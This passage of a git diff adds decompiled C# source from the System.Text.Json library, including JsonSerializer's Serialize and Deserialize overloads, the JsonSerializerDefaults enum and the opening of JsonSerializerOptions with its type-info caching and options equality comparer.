takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize(ref Utf8JsonReader reader, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return Read(ref reader, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize(ref Utf8JsonReader reader, Type returnType, JsonSerializerOptions? options = null) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return ReadAsObject(ref reader, typeInfo); + } + + public static TValue? Deserialize(ref Utf8JsonReader reader, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return Read(ref reader, jsonTypeInfo); + } + + public static object? Deserialize(ref Utf8JsonReader reader, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadAsObject(ref reader, jsonTypeInfo); + } + + public static object? Deserialize(ref Utf8JsonReader reader, Type returnType, JsonSerializerContext context) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + return ReadAsObject(ref reader, GetTypeInfo(context, returnType)); + } + + private static TValue Read(ref Utf8JsonReader reader, JsonTypeInfo jsonTypeInfo) + { + if (reader.CurrentState.Options.CommentHandling == JsonCommentHandling.Allow) + { + ThrowHelper.ThrowArgumentException_SerializerDoesNotSupportComments("reader"); + } + ReadStack state = default(ReadStack); + state.Initialize(jsonTypeInfo); + Utf8JsonReader utf8JsonReader = reader; + try + { + Utf8JsonReader reader2 = GetReaderScopedToNextValue(ref reader, ref state); + return jsonTypeInfo.Deserialize(ref reader2, ref state); + } + catch (JsonException) + { + reader = utf8JsonReader; + throw; + } + } + + private static object ReadAsObject(ref Utf8JsonReader reader, JsonTypeInfo jsonTypeInfo) + { + if (reader.CurrentState.Options.CommentHandling == JsonCommentHandling.Allow) + { + ThrowHelper.ThrowArgumentException_SerializerDoesNotSupportComments("reader"); + } + ReadStack state = default(ReadStack); + state.Initialize(jsonTypeInfo); + Utf8JsonReader utf8JsonReader = reader; + try + { + Utf8JsonReader reader2 = GetReaderScopedToNextValue(ref reader, ref state); + return jsonTypeInfo.DeserializeAsObject(ref reader2, ref state); + } + catch (JsonException) + { + reader = utf8JsonReader; + throw; + } + } + + private static Utf8JsonReader GetReaderScopedToNextValue(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + ReadOnlySpan jsonData = default(ReadOnlySpan); + ReadOnlySequence jsonData2 = default(ReadOnlySequence); + try + { + JsonTokenType tokenType = reader.TokenType; + ReadOnlySpan bytes; + if ((tokenType == JsonTokenType.None || tokenType == JsonTokenType.PropertyName) && !reader.Read()) + { + bytes = default(ReadOnlySpan); + ThrowHelper.ThrowJsonReaderException(ref reader, ExceptionResource.ExpectedOneCompleteToken, 0, bytes); + } + switch (reader.TokenType) + { + case JsonTokenType.StartObject: + case JsonTokenType.StartArray: + { + long tokenStartIndex = reader.TokenStartIndex; + if (!reader.TrySkip()) + { + bytes = default(ReadOnlySpan); + ThrowHelper.ThrowJsonReaderException(ref reader, ExceptionResource.NotEnoughData, 0, bytes); + } + long num2 = reader.BytesConsumed - tokenStartIndex; + ReadOnlySequence originalSequence = reader.OriginalSequence; + if (originalSequence.IsEmpty) + { + bytes = reader.OriginalSpan; + jsonData = checked(bytes.Slice((int)tokenStartIndex, (int)num2)); + } + else + { + jsonData2 = originalSequence.Slice(tokenStartIndex, num2); + } + break; + } + case JsonTokenType.Number: + case JsonTokenType.True: + case JsonTokenType.False: + case JsonTokenType.Null: + if (reader.HasValueSequence) + { + jsonData2 = reader.ValueSequence; + } + else + { + jsonData = reader.ValueSpan; + } + break; + case JsonTokenType.String: + { + ReadOnlySequence originalSequence2 = reader.OriginalSequence; + if (originalSequence2.IsEmpty) + { + bytes = reader.ValueSpan; + int length = bytes.Length + 2; + jsonData = reader.OriginalSpan.Slice((int)reader.TokenStartIndex, length); + break; + } + long num3; + if (!reader.HasValueSequence) + { + bytes = reader.ValueSpan; + num3 = bytes.Length + 2; + } + else + { + num3 = reader.ValueSequence.Length + 2; + } + long length2 = num3; + jsonData2 = originalSequence2.Slice(reader.TokenStartIndex, length2); + break; + } + default: + { + byte num; + if (!reader.HasValueSequence) + { + bytes = reader.ValueSpan; + num = bytes[0]; + } + else + { + bytes = reader.ValueSequence.First.Span; + num = bytes[0]; + } + byte nextByte = num; + bytes = default(ReadOnlySpan); + ThrowHelper.ThrowJsonReaderException(ref reader, ExceptionResource.ExpectedStartOfValueNotFound, nextByte, bytes); + break; + } + } + } + catch (JsonReaderException ex) + { + ThrowHelper.ReThrowWithPath(ref state, ex); + } + if (!jsonData.IsEmpty) + { + return new Utf8JsonReader(jsonData, reader.CurrentState.Options); + } + return new Utf8JsonReader(jsonData2, reader.CurrentState.Options); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static byte[] SerializeToUtf8Bytes(TValue value, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return WriteBytes(in value, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static byte[] SerializeToUtf8Bytes(object? value, Type inputType, JsonSerializerOptions? options = null) + { + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + return WriteBytesAsObject(value, typeInfo); + } + + public static byte[] SerializeToUtf8Bytes(TValue value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteBytes(in value, jsonTypeInfo); + } + + public static byte[] SerializeToUtf8Bytes(object? value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteBytesAsObject(value, jsonTypeInfo); + } + + public static byte[] SerializeToUtf8Bytes(object? value, Type inputType, JsonSerializerContext context) + { + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + return WriteBytesAsObject(value, typeInfo); + } + + private static byte[] WriteBytes(in TValue value, JsonTypeInfo jsonTypeInfo) + { + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.Serialize(writer, in value); + return bufferWriter.WrittenMemory.ToArray(); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + private static byte[] WriteBytesAsObject(object value, JsonTypeInfo jsonTypeInfo) + { + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.SerializeAsObject(writer, value); + return bufferWriter.WrittenMemory.ToArray(); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + internal static MetadataPropertyName WriteMetadataForObject(JsonConverter jsonConverter, ref WriteStack state, Utf8JsonWriter writer) + { + MetadataPropertyName metadataPropertyName = MetadataPropertyName.None; + if (state.NewReferenceId != null) + { + writer.WriteString(s_metadataId, state.NewReferenceId); + metadataPropertyName |= MetadataPropertyName.Id; + state.NewReferenceId = null; + } + object polymorphicTypeDiscriminator = state.PolymorphicTypeDiscriminator; + if (polymorphicTypeDiscriminator != null) + { + JsonEncodedText? customTypeDiscriminatorPropertyNameJsonEncoded = state.PolymorphicTypeResolver.CustomTypeDiscriminatorPropertyNameJsonEncoded; + JsonEncodedText jsonEncodedText; + if (customTypeDiscriminatorPropertyNameJsonEncoded.HasValue) + { + JsonEncodedText valueOrDefault = customTypeDiscriminatorPropertyNameJsonEncoded.GetValueOrDefault(); + jsonEncodedText = valueOrDefault; + } + else + { + jsonEncodedText = s_metadataType; + } + JsonEncodedText propertyName = jsonEncodedText; + if (polymorphicTypeDiscriminator is string value) + { + writer.WriteString(propertyName, value); + } + else + { + writer.WriteNumber(propertyName, (int)polymorphicTypeDiscriminator); + } + metadataPropertyName |= MetadataPropertyName.Type; + state.PolymorphicTypeDiscriminator = null; + } + return metadataPropertyName; + } + + internal static MetadataPropertyName WriteMetadataForCollection(JsonConverter jsonConverter, ref WriteStack state, Utf8JsonWriter writer) + { + writer.WriteStartObject(); + MetadataPropertyName result = WriteMetadataForObject(jsonConverter, ref state, writer); + writer.WritePropertyName(s_metadataValues); + return result; + } + + internal static bool TryGetReferenceForValue(object currentValue, ref WriteStack state, Utf8JsonWriter writer) + { + bool alreadyExists; + string reference = state.ReferenceResolver.GetReference(currentValue, out alreadyExists); + if (alreadyExists) + { + writer.WriteStartObject(); + writer.WriteString(s_metadataRef, reference); + writer.WriteEndObject(); + state.PolymorphicTypeDiscriminator = null; + state.PolymorphicTypeResolver = null; + } + else + { + state.NewReferenceId = reference; + } + return alreadyExists; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static Task SerializeAsync(Stream utf8Json, TValue value, JsonSerializerOptions? options = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + return typeInfo.SerializeAsync(utf8Json, value, cancellationToken); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static void Serialize(Stream utf8Json, TValue value, JsonSerializerOptions? options = null) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + typeInfo.Serialize(utf8Json, in value); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static Task SerializeAsync(Stream utf8Json, object? value, Type inputType, JsonSerializerOptions? options = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + return typeInfo.SerializeAsObjectAsync(utf8Json, value, cancellationToken); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static void Serialize(Stream utf8Json, object? value, Type inputType, JsonSerializerOptions? options = null) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + typeInfo.SerializeAsObject(utf8Json, value); + } + + public static Task SerializeAsync(Stream utf8Json, TValue value, JsonTypeInfo jsonTypeInfo, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo.SerializeAsync(utf8Json, value, cancellationToken); + } + + public static void Serialize(Stream utf8Json, TValue value, JsonTypeInfo jsonTypeInfo) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + jsonTypeInfo.Serialize(utf8Json, in value); + } + + public static Task SerializeAsync(Stream utf8Json, object? value, JsonTypeInfo jsonTypeInfo, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo.SerializeAsObjectAsync(utf8Json, value, cancellationToken); + } + + public static void Serialize(Stream utf8Json, object? value, JsonTypeInfo jsonTypeInfo) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + jsonTypeInfo.SerializeAsObject(utf8Json, value); + } + + public static Task SerializeAsync(Stream utf8Json, object? value, Type inputType, JsonSerializerContext context, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + return typeInfo.SerializeAsObjectAsync(utf8Json, value, cancellationToken); + } + + public static void Serialize(Stream utf8Json, object? value, Type inputType, JsonSerializerContext context) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + typeInfo.SerializeAsObject(utf8Json, value); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static string Serialize(TValue value, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return WriteString(in value, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static string Serialize(object? value, Type inputType, JsonSerializerOptions? options = null) + { + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + return WriteStringAsObject(value, typeInfo); + } + + public static string Serialize(TValue value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteString(in value, jsonTypeInfo); + } + + public static string Serialize(object? value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteStringAsObject(value, jsonTypeInfo); + } + + public static string Serialize(object? value, Type inputType, JsonSerializerContext context) + { + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + return WriteStringAsObject(value, typeInfo); + } + + private static string WriteString(in TValue value, JsonTypeInfo jsonTypeInfo) + { + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.Serialize(writer, in value); + return JsonReaderHelper.TranscodeHelper(bufferWriter.WrittenMemory.Span); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + private static string WriteStringAsObject(object value, JsonTypeInfo jsonTypeInfo) + { + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.SerializeAsObject(writer, value); + return JsonReaderHelper.TranscodeHelper(bufferWriter.WrittenMemory.Span); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static void Serialize(Utf8JsonWriter writer, TValue value, JsonSerializerOptions? options = null) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + typeInfo.Serialize(writer, in value); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static void Serialize(Utf8JsonWriter writer, object? value, Type inputType, JsonSerializerOptions? options = null) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + typeInfo.SerializeAsObject(writer, value); + } + + public static void Serialize(Utf8JsonWriter writer, TValue value, JsonTypeInfo jsonTypeInfo) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + jsonTypeInfo.Serialize(writer, in value); + } + + public static void Serialize(Utf8JsonWriter writer, object? value, JsonTypeInfo jsonTypeInfo) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + jsonTypeInfo.SerializeAsObject(writer, value); + } + + public static void Serialize(Utf8JsonWriter writer, object? value, Type inputType, JsonSerializerContext context) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + typeInfo.SerializeAsObject(writer, value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializerDefaults.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializerDefaults.cs new file mode 100644 index 0000000..cb6fa99 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializerDefaults.cs @@ -0,0 +1,7 @@ +namespace System.Text.Json; + +public enum JsonSerializerDefaults +{ + General, + Web +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializerOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializerOptions.cs new file mode 100644 index 0000000..d18dcbd --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializerOptions.cs @@ -0,0 +1,1188 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Runtime.ExceptionServices; +using System.Text.Encodings.Web; +using System.Text.Json.Nodes; +using System.Text.Json.Reflection; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Converters; +using System.Text.Json.Serialization.Metadata; +using System.Threading; + +namespace System.Text.Json; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public sealed class JsonSerializerOptions +{ + internal sealed class CachingContext + { + private sealed class CacheEntry + { + public readonly bool HasResult; + + public readonly JsonTypeInfo TypeInfo; + + public readonly ExceptionDispatchInfo ExceptionDispatchInfo; + + public volatile bool IsNearestAncestorResolved; + + public CacheEntry NearestAncestor; + + public CacheEntry(JsonTypeInfo typeInfo) + { + TypeInfo = typeInfo; + HasResult = typeInfo != null; + } + + public CacheEntry(ExceptionDispatchInfo exception) + { + ExceptionDispatchInfo = exception; + HasResult = true; + } + + public JsonTypeInfo GetResult() + { + ExceptionDispatchInfo?.Throw(); + return TypeInfo; + } + } + + private readonly ConcurrentDictionary _cache = new ConcurrentDictionary(); + + private readonly Func _cacheEntryFactory; + + public JsonSerializerOptions Options { get; } + + public int HashCode { get; } + + public int Count => _cache.Count; + + public CachingContext(JsonSerializerOptions options, int hashCode) + { + Options = options; + HashCode = hashCode; + _cacheEntryFactory = (Type type) => CreateCacheEntry(type, this); + } + + public JsonTypeInfo GetOrAddTypeInfo(Type type, bool fallBackToNearestAncestorType = false) + { + CacheEntry orAddCacheEntry = GetOrAddCacheEntry(type); + if (!fallBackToNearestAncestorType || orAddCacheEntry.HasResult) + { + return orAddCacheEntry.GetResult(); + } + return FallBackToNearestAncestor(type, orAddCacheEntry); + } + + public bool TryGetTypeInfo(Type type, [NotNullWhen(true)] out JsonTypeInfo typeInfo) + { + _cache.TryGetValue(type, out var value); + typeInfo = value?.TypeInfo; + return typeInfo != null; + } + + public void Clear() + { + _cache.Clear(); + } + + private CacheEntry GetOrAddCacheEntry(Type type) + { + return _cache.GetOrAdd(type, _cacheEntryFactory); + } + + private static CacheEntry CreateCacheEntry(Type type, CachingContext context) + { + try + { + JsonTypeInfo typeInfoNoCaching = context.Options.GetTypeInfoNoCaching(type); + return new CacheEntry(typeInfoNoCaching); + } + catch (Exception source) + { + ExceptionDispatchInfo exception = ExceptionDispatchInfo.Capture(source); + return new CacheEntry(exception); + } + } + + private JsonTypeInfo FallBackToNearestAncestor(Type type, CacheEntry entry) + { + return (entry.IsNearestAncestorResolved ? entry.NearestAncestor : DetermineNearestAncestor(type, entry))?.GetResult(); + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2070:UnrecognizedReflectionPattern", Justification = "We only need to examine the interface types that are supported by the underlying resolver.")] + private CacheEntry DetermineNearestAncestor(Type type, CacheEntry entry) + { + CacheEntry cacheEntry = null; + Type type2 = null; + Type baseType = type.BaseType; + while (baseType != null && !(baseType == JsonTypeInfo.ObjectType)) + { + cacheEntry = GetOrAddCacheEntry(baseType); + if (cacheEntry.HasResult) + { + type2 = baseType; + break; + } + baseType = baseType.BaseType; + } + Type[] interfaces = type.GetInterfaces(); + foreach (Type type3 in interfaces) + { + CacheEntry orAddCacheEntry = GetOrAddCacheEntry(type3); + if (!orAddCacheEntry.HasResult) + { + continue; + } + if (type2 != null) + { + if (type3.IsAssignableFrom(type2)) + { + continue; + } + if (!type2.IsAssignableFrom(type3)) + { + NotSupportedException notSupportedException_AmbiguousMetadataForType = ThrowHelper.GetNotSupportedException_AmbiguousMetadataForType(type, type2, type3); + cacheEntry = new CacheEntry(ExceptionDispatchInfo.Capture(notSupportedException_AmbiguousMetadataForType)); + break; + } + } + cacheEntry = orAddCacheEntry; + type2 = type3; + } + entry.NearestAncestor = cacheEntry; + entry.IsNearestAncestorResolved = true; + return cacheEntry; + } + } + + internal static class TrackedCachingContexts + { + private const int MaxTrackedContexts = 64; + + private static readonly WeakReference[] s_trackedContexts = new WeakReference[64]; + + private static readonly EqualityComparer s_optionsComparer = new EqualityComparer(); + + public static CachingContext GetOrCreate(JsonSerializerOptions options) + { + int hashCode = s_optionsComparer.GetHashCode(options); + if (TryGetContext(options, hashCode, out var firstUnpopulatedIndex, out var result)) + { + return result; + } + if (firstUnpopulatedIndex < 0) + { + return new CachingContext(options, hashCode); + } + lock (s_trackedContexts) + { + if (TryGetContext(options, hashCode, out firstUnpopulatedIndex, out result)) + { + return result; + } + CachingContext cachingContext = new CachingContext(options, hashCode); + if (firstUnpopulatedIndex >= 0) + { + ref WeakReference reference = ref s_trackedContexts[firstUnpopulatedIndex]; + if (reference == null) + { + reference = new WeakReference(cachingContext); + } + else + { + reference.SetTarget(cachingContext); + } + } + return cachingContext; + } + } + + private static bool TryGetContext(JsonSerializerOptions options, int hashCode, out int firstUnpopulatedIndex, [NotNullWhen(true)] out CachingContext result) + { + WeakReference[] array = s_trackedContexts; + firstUnpopulatedIndex = -1; + for (int i = 0; i < array.Length; i++) + { + WeakReference weakReference = array[i]; + if (weakReference == null || !weakReference.TryGetTarget(out var target)) + { + if (firstUnpopulatedIndex < 0) + { + firstUnpopulatedIndex = i; + } + } + else if (hashCode == target.HashCode && s_optionsComparer.Equals(options, target.Options)) + { + result = target; + return true; + } + } + result = null; + return false; + } + } + + private sealed class EqualityComparer : IEqualityComparer + { + private struct HashCode + { + private int _hashCode; + + public void Add(T value) + { + _hashCode = (_hashCode, value).GetHashCode(); + } + + public int ToHashCode() + { + return _hashCode; + } + } + + public bool Equals(JsonSerializerOptions left, JsonSerializerOptions right) + { + if (left._dictionaryKeyPolicy == right._dictionaryKeyPolicy && left._jsonPropertyNamingPolicy == right._jsonPropertyNamingPolicy && left._readCommentHandling == right._readCommentHandling && left._referenceHandler == right._referenceHandler && left._encoder == right._encoder && left._defaultIgnoreCondition == right._defaultIgnoreCondition && left._numberHandling == right._numberHandling && left._preferredObjectCreationHandling == right._preferredObjectCreationHandling && left._unknownTypeHandling == right._unknownTypeHandling && left._unmappedMemberHandling == right._unmappedMemberHandling && left._defaultBufferSize == right._defaultBufferSize && left._maxDepth == right._maxDepth && left._allowTrailingCommas == right._allowTrailingCommas && left._ignoreNullValues == right._ignoreNullValues && left._ignoreReadOnlyProperties == right._ignoreReadOnlyProperties && left._ignoreReadonlyFields == right._ignoreReadonlyFields && left._includeFields == right._includeFields && left._propertyNameCaseInsensitive == right._propertyNameCaseInsensitive && left._writeIndented == right._writeIndented && left._typeInfoResolver == right._typeInfoResolver) + { + return CompareLists(left._converters, right._converters); + } + return false; + static bool CompareLists(ConfigurationList configurationList, ConfigurationList configurationList2) where TValue : class + { + if (configurationList == null) + { + if (configurationList2 != null) + { + return configurationList2.Count == 0; + } + return true; + } + if (configurationList2 == null) + { + return configurationList.Count == 0; + } + int count; + if ((count = configurationList.Count) != configurationList2.Count) + { + return false; + } + for (int i = 0; i < count; i++) + { + if (configurationList[i] != configurationList2[i]) + { + return false; + } + } + return true; + } + } + + public int GetHashCode(JsonSerializerOptions options) + { + HashCode hc = default(HashCode); + AddHashCode(ref hc, options._dictionaryKeyPolicy); + AddHashCode(ref hc, options._jsonPropertyNamingPolicy); + AddHashCode(ref hc, options._readCommentHandling); + AddHashCode(ref hc, options._referenceHandler); + AddHashCode(ref hc, options._encoder); + AddHashCode(ref hc, options._defaultIgnoreCondition); + AddHashCode(ref hc, options._numberHandling); + AddHashCode(ref hc, options._preferredObjectCreationHandling); + AddHashCode(ref hc, options._unknownTypeHandling); + AddHashCode(ref hc, options._unmappedMemberHandling); + AddHashCode(ref hc, options._defaultBufferSize); + AddHashCode(ref hc, options._maxDepth); + AddHashCode(ref hc, options._allowTrailingCommas); + AddHashCode(ref hc, options._ignoreNullValues); + AddHashCode(ref hc, options._ignoreReadOnlyProperties); + AddHashCode(ref hc, options._ignoreReadonlyFields); + AddHashCode(ref hc, options._includeFields); + AddHashCode(ref hc, options._propertyNameCaseInsensitive); + AddHashCode(ref hc, options._writeIndented); + AddHashCode(ref hc, options._typeInfoResolver); + AddListHashCode(ref hc, options._converters); + return hc.ToHashCode(); + static void AddHashCode(ref HashCode reference, TValue value) + { + if (typeof(TValue).IsValueType) + { + reference.Add(value); + } + else + { + reference.Add(RuntimeHelpers.GetHashCode(value)); + } + } + static void AddListHashCode(ref HashCode hc2, ConfigurationList list) + { + if (list != null) + { + int count = list.Count; + for (int i = 0; i < count; i++) + { + AddHashCode(ref hc2, list[i]); + } + } + } + } + } + + internal static class TrackedOptionsInstances + { + public static ConditionalWeakTable All { get; } = new ConditionalWeakTable(); + } + + private sealed class ConverterList : ConfigurationList + { + private readonly JsonSerializerOptions 